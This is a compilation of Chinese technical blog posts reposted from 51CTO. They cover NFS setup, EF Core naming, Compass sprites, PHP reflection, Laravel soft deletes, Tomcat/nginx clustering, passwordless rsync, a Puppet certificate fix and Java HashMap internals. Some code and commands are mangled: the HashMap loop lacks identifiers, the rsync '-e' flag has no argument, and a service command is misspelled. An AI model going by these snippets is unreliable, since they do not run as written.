async:将数据先保存在内存缓冲区中,必要时才写入磁盘; wdelay:检查是否有相关的写操作,如果有则将这些写操作一起执行,这样可以提高效率(默认设置); no_wdelay:若有写操作则立即执行,应与sync配合使用; subtree:若输出目录是一个子目录,则nfs服务器将检查其父目录的权限(默认设置); no_subtree:即使输出目录是一个子目录,nfs服务器也不检查其父目录的权限,这样可以提高效率; 五、重启服务 修改过配置文件后需要重启相关服务 #service rpcbind resatrt #service nfs restart 六、客户端配置 6.1、客户端可通过showmount -e IP来查看NFS共享状态 6.2、客户端通过mount挂载 6.3、客户端取消挂载 umount /home/data 注:如遇到umount.nfs: /home/data: device is busy可使用-l参数来取消挂载 umount -l /home/data 6.4、挂载完成后,客户端和服务端做的修改都会及时同步 七、配置自动挂载nfs文件系统 vim /etc/fstab 保存重启 八、有关权限的介绍 1. 客户端连接时候,对普通用户的检查 a. 如果明确设定了普通用户被压缩的身份,那么此时客户端用户的身份转换为指定用户; b. 如果NFS server上面有同名用户,那么此时客户端登录账户的身份转换为NFS server上面的同名用户; c. 如果没有明确指定,也没有同名用户,那么此时 用户身份被压缩成nfsnobody; 2. 客户端连接的时候,对root的检查 a. 如果设置no_root_squash,那么此时root用户的身份被压缩为NFS server上面的root; b. 如果设置了all_squash、anonuid、anongid,此时root 身份被压缩为指定用户; c. 如果没有明确指定,此时root用户被压缩为nfsnobody; d. 如果同时指定no_root_squash与all_squash 用户将被压缩为 nfsnobody,如果设置了anonuid、anongid将被压缩到所指定的用户与组; 九、相关命令 1、exportfs 如果我们在启动了NFS之后又修改了/etc/exports,是不是还要重新启动nfs呢?这个时候我们就可以用exportfs 命令来使改动立刻生效,该命令格式如下: # exportfs [-aruv] -a 全部挂载或卸载 /etc/exports中的内容 -r 重新读取/etc/exports 中的信息 ,并同步更新/etc/exports、/var/lib/nfs/xtab -u 卸载单一目录(和-a一起使用为卸载所有/etc/exports文件中的目录) -v 在export的时候,将详细的信息输出到屏幕上。 具体例子: # exportfs -au 卸载所有共享目录 # exportfs -rv 重新共享所有目录并输出详细信息 2、nfsstat 查看NFS的运行状态,对于调整NFS的运行有很大帮助。 3、rpcinfo 查看rpc执行信息,可以用于检测rpc运行情况的工具,利用rpcinfo -p 可以查看出RPC开启的端口所提供的程序有哪些。 4、showmount -a 显示已经于客户端连接上的目录信息 -e IP或者hostname 显示此IP地址分享出来的目录 5、netstat 可以查看出nfs服务开启的端口,其中nfs 开启的是2049,portmap 开启的是111,其余则是rpc开启的。 最后注意两点,虽然通过权限设置可以让普通用户访问,但是挂载的时候默认情况下只有root可以去挂载,普通用户可以执行sudo。 NFS server 关机的时候一点要确保NFS服务关闭,没有客户端处于连接状态!通过showmount -a 可以查看,如果有的话用kill killall pkill 来结束,(-9 强制结束) 本文转自 亮公子 51CTO博客,原文链接:http://blog.51cto.com/iyull/1946592
使用的是 Entity Framework Core 2.0 (2.0.0-preview2-final)。正式版发布时,功能可能存在变动。 Entity Framework 迁移允许从模型生成数据库,这意味着必须从类名和属性名生成数据库对象的名称。对于大多数人来说使用默认名称是没有问题的,但是,您的DBA可能会要求您使用特定的命名约定。例如,一些DBA希望表名大写,或者列名使用表名为前缀。 Entity Framework 允许逐个设置表名或列名: protected override void OnModelCreating(ModelBuilder modelBuilder){ modelBuilder.Entity<Blog>().ForSqlServerToTable("Blog"); } 但是,写这些代码非常无聊并且容易出错,不应该逐个设置对像的名称,您可以通过修改模型实现全局设置。事实上modelBuilder是可读写的,您可以迭代所有对象并更改其名称。 public class BloggingContext : DbContext{ public DbSet<Blog> Blogs { get; set; } public DbSet<Post> Posts { get; set; } protected override void OnModelCreating(ModelBuilder modelBuilder) { base.OnModelCreating(modelBuilder); // Singularize table name // Blogs => Blog foreach (var entityType in modelBuilder.Model.GetEntityTypes()) { // Add NuGet package "Humanizer" to use Singularize() entityType.Relational().TableName = entityType.Relational().TableName.Singularize(); } // Prefix column names with table name // Id => Blog_Id foreach (var entityType in modelBuilder.Model.GetEntityTypes()) { foreach (var property in entityType.GetProperties()) { property.Relational().ColumnName = entityType.Relational().TableName + "_" + property.Relational().ColumnName; } } // Rename Foreign Key // FK_Post_Blog_BlogId => FK_Post_Blog_BlogId_Test foreach (var entityType in modelBuilder.Model.GetEntityTypes()) { foreach (var property in entityType.GetProperties()) { foreach (var fk in entityType.FindForeignKeys(property)) { fk.Relational().Name = fk.Relational().Name + "_Test"; } } } // Rename Indices // IX_Blog_Url => IX_Blog_Url_Test foreach (var entityType in modelBuilder.Model.GetEntityTypes()) { foreach (var index in entityType.GetIndexes()) { index.Relational().Name = index.Relational().Name + "_Test"; } } } } 在 Package Manager Console 中运行以下命令: Add-Migration NamingConvention Update-Database 上面的命令将生成以下数据库架构: CREATE TABLE [dbo].[Blog] ( [Blog_BlogId] INT IDENTITY (1, 1) NOT NULL, [Blog_Url] NVARCHAR (450) NULL, CONSTRAINT [PK_Blog] PRIMARY KEY CLUSTERED ([Blog_BlogId] ASC) );CREATE UNIQUE NONCLUSTERED INDEX [IX_Blog_Url_Test] ON [dbo].[Blog]([Blog_Url] ASC) WHERE ([Blog_Url] IS NOT NULL);CREATE TABLE [dbo].[Post] ( [Post_PostId] INT IDENTITY (1, 1) NOT NULL, [Post_BlogId] INT NOT NULL, [Post_Content] NVARCHAR (MAX) NULL, [Post_Title] NVARCHAR (MAX) NULL, CONSTRAINT [PK_Post] PRIMARY KEY CLUSTERED ([Post_PostId] ASC), CONSTRAINT [testFK_Post_Blog_BlogId] FOREIGN KEY ([Post_BlogId]) REFERENCES [dbo].[Blog] ([Blog_BlogId]) ON DELETE CASCADE);CREATE NONCLUSTERED INDEX [IX_Post_BlogId_Test] ON [dbo].[Post]([Post_BlogId] ASC); 您可以看到生成数据库对象名称遵循的命名约定。 本文转自 zddnd 51CTO博客,原文链接:http://blog.51cto.com/13013666/1949227
使用 Compass 创建一个项目 要在一个新项目中使用 Compass,可以打开命令行工具并输入如下指令 1 compass create my-project 如果 my-project 目录不存在,上述命令会创建一个叫做 my-project 的目录,并在其中添加以下文件: 如果你没有为compass create命令传递一个目录参数,它将使用你当前所在的目录。 在config.rb文件中,你可以对Compass的一些配置进行修改,例如资源位置和压缩程度。sass目录包含了一些初始的样式表,你可以对它们进行编辑、重命名,或者完全抛弃,但是这个文件夹是你存放Sass样式表的地方。最后,stylesheets目录用于存放编译后的CSS文件。 config.rb文件: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 require 'compass/import-once/activate' # Require any additional compass plugins here. # Set this to the root of your project when deployed: #配置服务器路径 http_path = "/" #配置css sass images javascripts路径 css_dir = "stylesheets" sass_dir = "sass" images_dir = "images" javascripts_dir = "javascripts" # You can select your preferred output style here (can be overridden via the command line): #根据个人偏好选择输出样式 :nested嵌套 :compact紧密 :compressed压缩 # output_style = :expanded or :nested or :compact or :compressed # To enable relative paths to assets via compass helper functions. Uncomment: #相对路径 # relative_assets = true # To disable debugging comments that display the original location of your selectors. Uncomment: # line_comments = false # If you prefer the indented syntax, you might want to regenerate this # project again passing --syntax sass, or you can uncomment this: # preferred_syntax = :sass # and then run: # sass-convert -R --from scss --to sass sass scss && rm -rf sass && mv scss sass 在设置项目时配置选项 使用compass create命令时,你可以使用一些选项来配置你的项目: --bare (不包含默认样式表进行安装); --syntax sass (在默认样式表中使用缩进语法); --sass-dir "cool" (使用'cool'目录存放Sass文件); --css-dir "style" (使用'style'目录存放CSS文件); --images-dir "img" (使用'img'目录存放图片); --fonts-dir "type" (使用'type'目录存放字体文件); --javascripts-dir "js" (使用'js'目录存放JavaScript文件)。 例如: 1 compass create my-project --bare --sass-dir "cool" --css-dir "style" 开始制作雪碧图 首先获取一些 icon 图标,获取一些免费图标集 https://github.com/Keyamoon/IcoMoon-Free 文件夹目录结构:(images目录下有一个 icons 子目录存放一些 .png图片) 1、创建一个雪碧图 打开 screen.scss 并加入如下代码: 1 2 3 4 5 // 加载compass sprites模块 @import "compass/utilities/sprites"; //告诉Compass根据images/icons/目录下的所有PNG图片生成一张雪碧图 @import "icons/*.png"; 命令行工具通过如下指令来执行编译 1 compass watch 最终在 images 文件夹下生成了一个竖向排布的 icons-sac817bc43c.png 2、自定义雪碧图 变量命名表 1 2 $<map>-<property>: setting; $<map>-<sprite>-<property>: setting; 在上面的示例中,雪碧图文件夹的名称是 icons,所以改变间距的变量被命名为 $icons-spacing。而为了设置icons/attachment.png 间距变量, 你应该赋值给$icons-attachment-spacing。 记住, 这些变量必须在导入雪碧图之前被定义, 否则不会生效。请找到configuring-automatic-sprites文件夹下精灵配置的示例代码。 2-1、配置雪碧图间距 Compass 允许你通过配置雪碧图间距变量改变雪碧图的间距 1 2 $<map>-spacing: 0px; $<map>-<sprite>-spacing: 0px; 默认值是0px,这意味着每个 图标 被拼入雪碧图时不带任何间距。设置这个变量或单独给 每个 图标 赋值,会使得每个 图标 在拼合时在周围增加若干像素的透明间 修改screen.scss,例如: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // 加载compass sprites模块 @import "compass/utilities/sprites"; // 配置所有sprite间距为100px,默认为0px 此句要放在前面才生效 $icons-spacing:100px; //配置所有sprite的位置,默认为0px $icons-position:100px; //智能布局的把每张图像放在最合适的地方 //$icons-layout:smart; //水平排列 $icons-layout:horizontal; //纵向排列 //$icons-layout:vertical; //单独为arrow图标设置12像素的透明间距。 $icons-arrow-spacing: 12px; //告诉Compass根据images/icons/目录下的所有PNG图片生成一张雪碧图 @import "icons/*.png"; 自动删除了之前的图片,并生成一个新的 icons-s1a799c6c79.png 2-2、配置图标的重复性 在一些情况下,雪碧图中水平方向的重复 图标 会有大用处。为此,你可以设置雪碧的重复性变量: 1 2 $<map>-repeat: no-repeat/repeat-x; $<map>-<sprite>-repeat: no-repeat/repeat-x; 如:箭头图标横向平铺整个图,重复的箭头图标横跨整个精 灵地图和最宽的compass的logo对齐。 1 $icons-arrow-repeat: repeat-x; 2-3、配置图标的位置 有时候,移动一个 图标的位置是非常有帮助的,Compass允许你通过设置位置变量来横向 移动图片 1 2 $<map>-position: 0px; $<map>-<sprite>-position: 0px; 这个变量调整了雪碧图中图标的横向位置。其默认值为0px,意味着每个图标都是左对齐 的。这个值可以是百分比,也可以是像素值。 1 2 $icons-position: 4px; $icons-clubs-position: 100%; 在这个例子里,雪碧图中的每个图标都被右移了4个像素,并且梅花移动到了最 右边 2-4、设置图标的布局 Compass有以下几种图标的布局可供选择: 1 $<map>-layout: vertical/horizontal/diagonal/smart; 默认的布局是vertical,从整体上影响雪碧图布局,告知Compass如何排布所有的图标。 大多数情况下,你可能需要将布局设置为smart,这种布局会让Compass产生最小的空白区域。 位置和重复性的设置只会应用到横向或纵向布局的雪碧图中。对于采用智能布局或对角线 布局的雪碧图,位置和重复性的设置是无效的 2-5、清除过期的雪碧图 当添加、删除或改变图片后,会生成新的雪碧图。Compass会自动为你移除旧的雪碧图, 或者你也可以把它们保留下来 1 $<map>-clean-up: true/false; 默认情况下,当生成新的雪碧图时,Compass会自动把旧的移除。这会避免你的硬盘被不 再使用的文件填满,同时也确保你不会困惑自己的样式表到底在使用哪个文件。如果你喜欢手动 移除旧的雪碧图,你也可以将其设置为false 3、生成雪碧图的CSS Compass 有两个很顺手的混合器,可以自动生成雪碧图的CSS 1 2 @include all-<map>-sprites; @include <map>-sprite($name); 这里的<map>是一个占位符,它会被替换为包含雪碧图标的文件夹的名称,这里是 icons,all-sprites 混合器会为整个雪碧图撰写所有必要的CSS。 第二个混合器将会输出一个独立命名图标的CSS,这两个混合器都会随着图标的导入而创建,因此,它们只能在导入之后使用 3-1、all-sprites混合器 1 2 3 @import "compass/utilities/sprites"; @import "icons/*.png"; @include all-icons-sprites; 这个all-icons-sprites混合器将会为雪碧图中的每个图标撰写必要的CSS 1 2 3 4 5 6 7 8 9 .icons-sprite, .icons-arrow, .icons-attachment, .icons-box-add, ... { background: url('/images/icons-s0cad3f8f97.png') no-repeat; } .icons-arrow { background-position: 0 0; } .icons-attachment { background-position: -16px -96px; } .icons-box-add { background-position: 0 -64px; } 现在让我们看看这个混合器都生成了什么: (1) 它为设置所有来自images/icons/的图标样式创建了一个基础类icons-sprite; (2) 它为其图标目录下的每一个文件名创建了类; (3) 它为所有的图标都增加了背景图片; (4) 它为所有的图标都增加了背景位置。 默认情况下,Compass不会设置这些元素的宽和高。Compass可以自动生成图标的尺寸,但我们不一定总需要它 3-1、single-sprites混合器 这个图标会针对单个的图标输出CSS 1 2 3 4 5 @import "compass/utilities/sprites"; @import "icons/*.png"; .add-button { @include icons-sprite(box-add); } 输出的CSS 如下: 1 2 3 4 5 .icons-sprite, .add-button { background: url('/images/icons-s0cad3f8f97.png') no-repeat; } .add-button { background-position: 0 -358px; } 有了single-sprite混合器,就没有必要生成一个类名了,因为样式已经包含在了选择器里。当Compass添加background-image和background-position样式时,会直接使用这些选择器,在这个例子里是.add-button。 相比简单方便的all-sprites混合器,这个方式生成更少的CSS,也让你对输出有更多的控制 本文转自 frwupeng517 51CTO博客,原文链接:http://blog.51cto.com/dapengtalk/1886854
PHP5 具有完整的反射API,添加对类、接口、函数、方法和扩展进行反向工程的能力。 反射是什么? 它是指在PHP运行状态中,扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。 其用途如:自动加载插件,自动生成文档,甚至可用来扩充PHP语言。 PHP反射api由若干类组成,可帮助我们用来访问程序的元数据或者同相关的注释交互。借助反射我们可以获取诸如类实现了那些方法,创建一个类的实例(不同于用new创建),调用一个方法(也不同于常规调用),传递参数,动态调用类的静态方法。 反射api是PHP内建的OOP技术扩展,包括一些类,异常和接口,综合使用他们可用来帮助我们分析其它类,接口,方法,属性,方法和扩展。这些OOP扩展被称为反射。 平常我们用的比较多的是 ReflectionClass类 和 ReflectionMethod类,例如: 01 <?php 02 class Person { 03 04 /** 05 * For the sake of demonstration, we"re setting this private 06 */ 07 private $_allowDynamicAttributes = false; 08 09 /** 10 * type=primary_autoincrement 11 */ 12 protected $id = 0; 13 14 /** 15 * type=varchar length=255 null 16 */ 17 protected $name; 18 19 /** 20 * type=text null 21 */ 22 protected $biography; 23 24 public function getId() { 25 return $this->id; 26 } 27 28 public function setId($v) { 29 $this->id = $v; 30 } 31 32 public function getName() { 33 return $this->name; 34 } 35 36 public function setName($v) { 37 $this->name = $v; 38 } 39 40 public function getBiography() { 41 return $this->biography; 42 } 43 44 public function setBiography($v) { 45 $this->biography = $v; 46 } 47 } 一、通过ReflectionClass,我们可以得到Person类的以下信息: 1常量 Contants 2属性 Property Names 3方法 Method Names静态 4属性 Static Properties 5命名空间 Namespace 6Person类是否为final或者abstract 7Person类是否有某个方法 接下来反射它,只要把类名"Person"传递给ReflectionClass就可以了: 1 $class = new ReflectionClass('Person'); // 建立 Person这个类的反射类 2 $instance = $class->newInstanceArgs($args); // 相当于实例化Person 类 1)获取属性(Properties): 1 $properties = $class->getProperties(); 2 foreach ($properties as $property) { 3 echo $property->getName() . "\n"; 4 } 5 // 输出: 6 // _allowDynamicAttributes 7 // id 8 // name 9 // biography 默认情况下,ReflectionClass会获取到所有的属性,private 和 protected的也可以。如果只想获取到private属性,就要额外传个参数: 1 $private_properties = $class->getProperties(ReflectionProperty::IS_PRIVATE); 可用参数列表: ReflectionProperty::IS_STATIC ReflectionProperty::IS_PUBLIC ReflectionProperty::IS_PROTECTED ReflectionProperty::IS_PRIVATE 通过$property->getName()可以得到属性名。 2)获取注释: 通过getDocComment可以得到写给property的注释。 01 foreach ($properties as $property) { 02 if ($property->isProtected()) { 03 $docblock = $property->getDocComment(); 04 preg_match('/ type\=([a-z_]*) /', $property->getDocComment(), $matches); 05 echo $matches[1] . "\n"; 06 } 07 } 08 // Output: 09 // primary_autoincrement 10 // varchar 11 // text 3)获取类的方法 getMethods() 来获取到类的所有methods。 hasMethod(string) 是否存在某个方法 getMethod(string) 获取方法 4)执行类的方法: 1 $instance->getName(); // 执行Person 里的方法getName 2 // 或者: 3 $method = $class->getmethod('getName'); // 获取Person 类中的getName方法 4 $method->invoke($instance); // 执行getName 方法 5 // 或者: 6 $method = $class->getmethod('setName'); // 获取Person 类中的setName方法 7 $method->invokeArgs($instance, array('snsgou.com')); 二、通过ReflectionMethod,我们可以得到Person类的某个方法的信息: 8是否“public”、“protected”、“private” 、“static”类型 9方法的参数列表 10方法的参数个数 11反调用类的方法 1 // 执行detail方法 2 $method = new ReflectionMethod('Person', 'test'); 3 4 if ($method->isPublic() && !$method->isStatic()) { 5 echo 'Action is right'; 6 } 7 echo $method->getNumberOfParameters(); // 参数个数 8 echo $method->getParameters(); // 参数对象数组 文章来源:http://blog.snsgou.com/post-42.html 本文转自 ttlxihuan 51CTO博客,原文链接:http://blog.51cto.com/php2012web/1433705
laravel框架中的ORM模型极大的简化了数据库操作,同时也提高了数据操作安全性。 在laravel框架ORM模型中默认会有三个时间字段,created_at,updated_at,deleted_at,这三个时间字段是框架默认操作,不用另加代码去处理,非赏方便: 如: UserModel::create($insert); ORM模型会自动添加上create_at字段但写入当前时间,而不用我们自己去添加这个字段,在修改时会加上updated_at, 在删除时laravel框架提供两种模式,一个是正常删除,一个是软删除, 正常删除会直接删除数据库里的记录,同样我们也不用为表创建deleted_at字段, 当使用软删除时,框架不会直接删除数据库里的数据,而是直接写deleted_at指定当前删除时间。 注意:当laravel使用了软删除,在每次正常查询时都会添加一个deleted_at is null 的条件,以去掉删除的记录,当前要取出删除的记录则要 UserModel::onlyTrashed()->get(); ORM在开发中方便了数据操作,只是在laravel框架中默认的ORM模型这三个时间字段的数据类型是datetime型,而且在软删除模式中deleted_at必须允许为NULL,更要命的是如果我们修改了字段类型为int型时deleted_at字段也必须允许为NULL,否则软删除会出现无法正常取数据,因为在使用软删除时框架默认添加的条件是deleted_at is NULL为正常数据,在一些数据量大的表中一般时间字段会使用int型,而如果允许为NULL则会影响索引的命中。 具体的修改有: /** * 指定时间字符 * * @param \DateTime|int $value * @return string */ public function fromDateTime($value) { return strtotime(parent::fromDateTime($value)); } 以上代码是修改字段写入数据库的数据类型为int 如果这个时候我们想修改这三个字段的名称可以在对应的MODEL类中添加以下代码 const DELETED_AT='delete_at'; const UPDATED_AT='update_at'; const CREATED_AT = 'create_at'; 以上处理只能是在没有使用软删除时正常工作,如果使用了软删除则必须重写 SoftDeletingTrait 中的几个方法,并且扩展Illuminate\Database\Eloquent\SoftDeletingScope类 代码如下: trait SoftDelete{ use SoftDeletingTrait; /** * 创建软删除对象 * * @return void */ public static function bootSoftDeletingTrait() { static::addGlobalScope(new SoftDeleteScope); } /** * 只获取软删除的记录 * * @return \Illuminate\Database\Eloquent\Builder|static */ public static function onlyTrashed() { $instance = new static; $column = $instance->getQualifiedDeletedAtColumn(); return $instance->newQueryWithoutScope(new SoftDeleteScope)->where($column,'>',new Illuminate\Database\Query\Expression('0')); } /** * 获取软删除与正常一起的记录 * * @return \Illuminate\Database\Eloquent\Builder|static */ public static function withTrashed() { return with(new static)->newQueryWithoutScope(new SoftDeleteScope); } } class SoftDeleteScope extends Illuminate\Database\Eloquent\SoftDeletingScope{ /** * 只获取正常数据 * * @param \Illuminate\Database\Eloquent\Builder $builder * @return void */ public function apply(Illuminate\Database\Eloquent\Builder $builder) { $model = $builder->getModel(); $builder->where($model->getQualifiedDeletedAtColumn(),'=',new Illuminate\Database\Query\Expression('0')); $this->extend($builder); } /** * 只获取软删除数据 * * @param \Illuminate\Database\Eloquent\Builder $builder * @return void */ protected function addOnlyTrashed(Illuminate\Database\Eloquent\Builder $builder) { $builder->macro('onlyTrashed', function(Illuminate\Database\Eloquent\Builder $builder) { $this->remove($builder); $builder->getQuery()->where($builder->getModel()->getQualifiedDeletedAtColumn(),'>',new Illuminate\Database\Query\Expression('0')); return $builder; }); } /** * 去掉软删除条件 * * @param array $where * @param string $column * @return bool */ protected function isSoftDeleteConstraint(array $where, $column) { return $where['type'] == 'Basic' && $where['operator']=='=' && $where['value']=='0' && $where['column'] == $column; } } 说明: SoftDelete 是重写 SoftDeletingTrait 中的部分方法,只要我们创建的MODEL使用了 use SoftDelete; 就能把原来的deleted_at字段完全修改为int类型,并且不允许为null。 SoftDeleteScope类只是为了修改在软删除时添加的deleted_at is null的条件。 到这里只要我们创建的MODEL继承于Eloquent并且在类中添加use SoftDelete;重写fromDateTime方法就可以使用int类型的时间字段 当然也可以在Eloquent与Model中间再添加一个类用于重写fromDateTime方法,可以实现所有的model都使用int类型的时间字段 本文转自 ttlxihuan 51CTO博客,原文链接:http://blog.51cto.com/php2012web/1536854
1.安装jdk tar zxf jdk-7u79-linux-x64.tar.gz -C /usr/local/ cd /usr/local/ ln -s jdk1.7.0_79/ java vim /etc/profile source /etc/profile 测试 2.安装TOMCAT tar zxf apache-tomcat-7.0.37.tar.gz -C /usr/local/ cd /usr/local/ ln -s apache-tomcat-7.0.37/ tomcat cd /usr/local/tomcat/bin ./startup.sh 测试 3.TOMCAT+NGINX vim /usr/local/lnmp/nginx/conf/nginx.conf nginx -s reload /etc/init.d/php-fpm start 测试 4. <T1> <T2> tomcat 和memcache 两台虚拟机做相同操作 . \ / . . X . . / \ . <M1> <M2> * yum install memcached /etc/init.d/memcached start rm -fr memcached-session-manager-tc6-1.6.3.jar * vim /usr/local/tomcat/conf/context.xml ##另一台主机failoverNodes 改为n2 * cd /usr/local/tomcat/bin/ ##重启Tomcat ./shutdown.sh ./startup.sh 测试 tail -f logs/catalina.out 5.Sticky * tar -zxf nginx-goodies-nginx-sticky-module-ng-c78b7dd79d0d.tar.gz ./configure --prefix=/opt/nginx --user=nginx --group=nginx --with-threads --with-file-aio --with-http_ssl_module --with-http_stub_status_module --add-module=/root/nginx-goodies-nginx-sticky-module-ng-c78b7dd79d0d.tar.gz 833 ./configure --prefix=/opt/nginx --user=nginx --group=nginx --with-threads --with-file-aio --with-http_ssl_module --with-http_stub_status_module --add-module=/root/nginx-goodies-nginx-sticky-module-ng-c78b7dd79d0d make make install ##安装nginx和sticky模块 * vim /opt/nginx/conf/nginx.conf * ./nginx start 测试 本文转自 red777 51CTO博客,原文链接:http://blog.51cto.com/12314711/1950164
1.通过ssh执行rsync(需要密码) 通过ssh帐户(需要密码)执行rsync,将文件同步镜像到远程服务器。 下面这个例子将本地的/home/ramesh同步到远程目录/backup/ramesh(服务器地址192.168.200.10)。 执行以下操作时,服务器将会提示需要用户使用密码登录。 复制代码代码如下: rsync -avz -e /home/ramesh/ ramesh@192.168.200.10:/backup/ramesh/ 2.使用ssh-keygen生成密匙 现在我们来设置ssh,以便在执行ssh操作时不需要密码,使用ssh-keygen在本地生成公钥和私钥。 复制代码代码如下: $ ssh-keygen Enter passphrase (empty for no passphrase): Enter same passphrase again: 提示:当提示输入密码时,只需输入两次回车键,不指配密码字符。 3.使用ssh-copy-id将公匙拷贝至远程主机 执行ssh-copy-id,将通过ssh-keygen生成的公匙拷贝至远程主机。 复制代码代码如下: ssh-copy-id -i ~/.ssh/id_rsa.pub 192.168.200.10 提示:执行以上操作时,将会提示输入远程主机帐户和密码,然后就会自动将公匙拷贝至远程目录。 4.无需密码通过ssh来执行rsync 现在,你可以不需要密码就可以ssh连接到远程主机 复制代码代码如下: ssh 192.168.200.10 重新来执行rsync,现在应该就不会提示输入密码了 复制代码代码如下: rsync -avz -e /home/ramesh/ ramesh@192.168.200.10:/backup/ramesh/ 本文转自 陈小龙哈 51CTO博客,原文链接:http://blog.51cto.com/chenxiaolong/1835767
puppet 认证错误:Could not request certificate: unknown message digest algorithm 错误描述: 工作期间接收到同事提出来的问题(puppet 客户机接收不到服务端发来的执行请求,清除认证,再次认证不上),寻求帮助。在接受时是对puppet一概不知的。 查看错误日志,以下是在客户端服务器日志截图 根据日志提示:是算法有问题,进行google 搜索根据 https://serverfault.com/questions/660649/puppet-master-3-6-2-error-on-signing-puppet-client-2-7-25 网站提出的解决方案 需要修改 ruby代码, 解决方式 修改 /usr/lib/ruby/site_ruby/1.8/puppet/ssl/certificate_request.rb文件的 71行 把 MD5 修改成SHA256 解决 sed -i 's#MD5#SHA256#' /usr/lib/ruby/site_ruby/1.8/puppet/ssl/certificate_request.rb 运行 puppet 测试命令 puppetd --test --debug 在服务端进行查看 问题得以解决。 本文转自 憬薇 51CTO博客,原文链接:http://blog.51cto.com/welcomeweb/1963528
请用java写一个程序,将一个十进制整数转换为二进制 递归求5的阶乘 一个球从100米高度落下,每次落地反弹的高度是原高度的一般,求第10次落地共经过多少米?第10次落地反弹高度多少? 不使用其它变量交换a和b的值 abcd 本文转自 手不要乱摸 51CTO博客,原文链接:http://blog.51cto.com/5880861/1600564
应用场景 客户端一个请求过来,服务端要并行的执行多个动作,最后将结果汇总,统一返回给客户端。 举个栗子:顾客到麦当劳点餐,下单之后,好几个配餐人员一起工作,有的拿薯条,有的拿可乐,有的准备汉堡,都准备好了,才叫顾客,然后顾客端着餐盘高高兴兴的就餐。 最开始,我只用了Fature,因为当你调用Fature的get()方法获取结果的时候,会等待直到计算完成; 后来我发现加一个倒计时也可以。 本文转自 手不要乱摸 51CTO博客,原文链接:http://blog.51cto.com/5880861/1857100
以下讲解基于JDK1.7 HashMap底层是一个数组,哈希值相同的元素放在数组中的相同的位置,多个相同哈希值的元素形成一个链表。也就是说,元素的组织形式是单向链表。 下面从put、get、remove这三个方法分析一下源代码,看看HashMap增删查改是怎么做的。 构造HashMap对象的时候做了初始化,指定默认的初始容量(数组长度)和增长因子 接下来,从put开始分析 从上面三段代码可以看出添加一个元素的基本流程: (1)HashMap的key值允许为null,而且key为null的元素放在数组中下标为0的位置 (2)根据待插入元素的key值计算出一个哈希值,然后根据这个哈希值和数组的长度计算该元素将要放置的位置(PS:下标)。如果这个位置为空,那么直接插入。否则,遍历该位置上的链表,依次比较他们的key值是否相同,如果相同,则将用新值替换旧值,然后返回就值。 (3)正常插入,将待插入的元素放置在链表的头部,然后将其指向原先的链表头部(即:原先放置在待插入位置的元素)。也就是说,新插入的元素是放在头部的,我觉得这样做的好处可能是根据LRU的原则减少遍历的次数。 (4)有一种特殊情况是,扩容。 扩容就是,将原数组中的每个位置的元素都迁移到新数组中,在迁移到新数组的过程中同样先计算哈希值,然后得出将要放置在新数组中那个位置上。链表的迁移过程相当于将原先的链表倒置,先将头部的元素迁移过去,然后将下一个元素迁移过去,令next元素的next指向新数组位置上的元素,最终呈现出来的效果就是链表倒置。 接下来看get操作 get操作比较简单: (1)根据key算哈希值,进而得出元素可能的位置,然后遍历该位置上的链表,比较key值是否相同,相同则返回,否则返回null 最后是remove 删除也相对比较简单: (1)删除元素所在位置,遍历链表,比较key值,找到待删除元素以后,如果当前只有一个元素,直接删除,此位置置位NULL,否则将前面元素的next指向后面元素。 HashMap在并发情况下存在的问题(并发就是没法保证顺序) (1)插入的元素可能被覆盖 假设有两个线程都执行到这里,线程1它的key=A,value=aaa,线程2它的key=B,value=bbb。 假设i=1,那么线程1执行的时候table[1]=new Entry<>(1234, "A", "aaa", null); 等到线程2执行的时候table[1]=new Entry<>(1234, "B", "bbb", null); 于是乎,线程1插入的数据就丢失了(或者说是被覆盖了) (2)put的时候,链表可能形成环形数据结构,导致如果查找一个不存在的元素时死循环 那么环状是怎么形成的呢?发生在扩容的时候。请看图 假设有两个元素A和B,它们的关系是A.next=B,B.next=null 大概就是下面这个样子 假设有两个线程,线程-1和线程-2,它们在执行插入的时候都发现需要扩容,于是乎都开始扩容。 当然,扩容是在它们自己的内存中进行的。假设线程-1完成对A元素的迁移后准备对B进行迁移并执行到Entry<K,V> next = e.next;时还没执行时线程被挂起了。执行到线程-2先执行完扩容,于是扩容后的指向关系变成了这个样子:B.next=A,A.next=null 特别注意,看图上画的好像是元素直接放到数组的某个位置,但我们要知道,其它放的是元素的地址,也就是说元素本身的位置不变,修改的只是指针指向。尽管线程-2构造的新数组对线程-1而言是不可见的,但是不可否认,线程-2在扩容过程中已经将A和B的指向关系修改了,也就是说,此时,B是指向A的,这一点对线程-1而言是可见的。 接下来,线程-1醒来,继续执行 while(null != e) { Entry<,> next = e.; (rehash) { e.= == e.? : hash(e.); } i = (e., newCapacity); e.= newTable[i]; newTable[i] = e; e = next; } 此时,对照代码应该是这样的 经过这一遍,现在在新数组中的指向关系变成:B-->A-->NULL 紧接着,因为e已经是A了,所以null != e,于是再执行一遍 然后就变成这样了 接下来,麻烦来了。 查找C,经过计算C应该与A、B在数组的同一个位置,于是遍历链表 于是,通过A找到B,通过B又找到A,通过A又找到B,通过B又找到A,如此反复,永远都不为null,死循环 终于讲明白了 最后,再提一点,就是hash方法,字符串和非字符串算哈希值的方法是不一样的 参考: http://blog.csdn.net/zhuqiuhui/article/details/51849692 https://www.cnblogs.com/binyue/p/3726403.html 本文转自 手不要乱摸 51CTO博客,原文链接:http://blog.51cto.com/5880861/1984059
